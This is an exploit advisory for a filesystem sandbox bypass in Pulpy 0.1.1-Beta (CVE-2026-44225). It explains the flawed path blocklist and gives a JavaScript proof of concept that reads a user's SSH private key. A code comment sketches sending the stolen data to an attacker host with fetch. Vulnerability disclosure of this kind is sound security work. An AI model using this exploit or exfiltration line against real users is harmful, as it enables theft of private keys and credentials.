Pulpy 0.1.1-Beta – Filesystem Sandbox Bypass
# Exploit Title: Pulpy 0.1.1-Beta - Filesystem Sandbox Bypass # Google Dork: N/A # Date: 2026-06-19 # Exploit Author: Onur BILICI @basekill # Vendor Homepage: https://github.com/enesgkky/pulpy # Software Link: https://github.com/enesgkky/pulpy # Version: <= 0.1.1-Beta # Tested on: macOS, Linux # CVE: CVE-2026-44225 Description: Pulpy injects a 'pulpy.fs' JavaScript API into every packaged web application, granting it access to the host filesystem. A 'validateFsPath()' function is implemented to sandbox this access using a blocklist. However, this blocklist is incomplete. The implementation only catches root-level paths (e.g., matching "/Library/" at index 0), meaning it completely misses user-specific paths such as "/Users/<username>/Library/" or critical configuration directories like "~/.ssh/", "~/.aws/", and "~/Documents/". As a result, any malicious web application packaged with Pulpy can bypass the sandbox to read and write arbitrary sensitive files in the user's home directory. Root Cause Analysis: In 'src/bridge/native_modules.mm', the path validation logic relies on a weak prefix check: std::string normalized = fs::weakly_canonical(p).string(); if (normalized.find("/etc/") == 0 || normalized.find("/var/") == 0 || normalized.find("/usr/") == 0 || normalized.find("/System/") == 0 || normalized.find("/Library/") == 0) { return ""; } return normalized; Proof of Concept (PoC): An attacker can execute the following JavaScript code within a Pulpy-packaged application to exfiltrate sensitive user data: ```javascript // Bypassing the sandbox to read sensitive files from the user's home directory try { // Example target: SSH private key // Note: You need to replace '<username>' with the target's actual username or dynamically resolve it const sshKeyPath = "/Users/<username>/.ssh/id_rsa"; pulpy.fs.readFile(sshKeyPath, 'utf8', (err, data) => { if (err) { console.error("Failed to read file:", err); return; } console.log("Successfully bypassed sandbox! Content:\n", data); // Exfiltration logic can be placed here (e.g., fetch('[https://attacker.com/log](https://attacker.com/log)', {method: 'POST', body: data})) }); } catch (e) { console.error("Exploit failed:", e); } |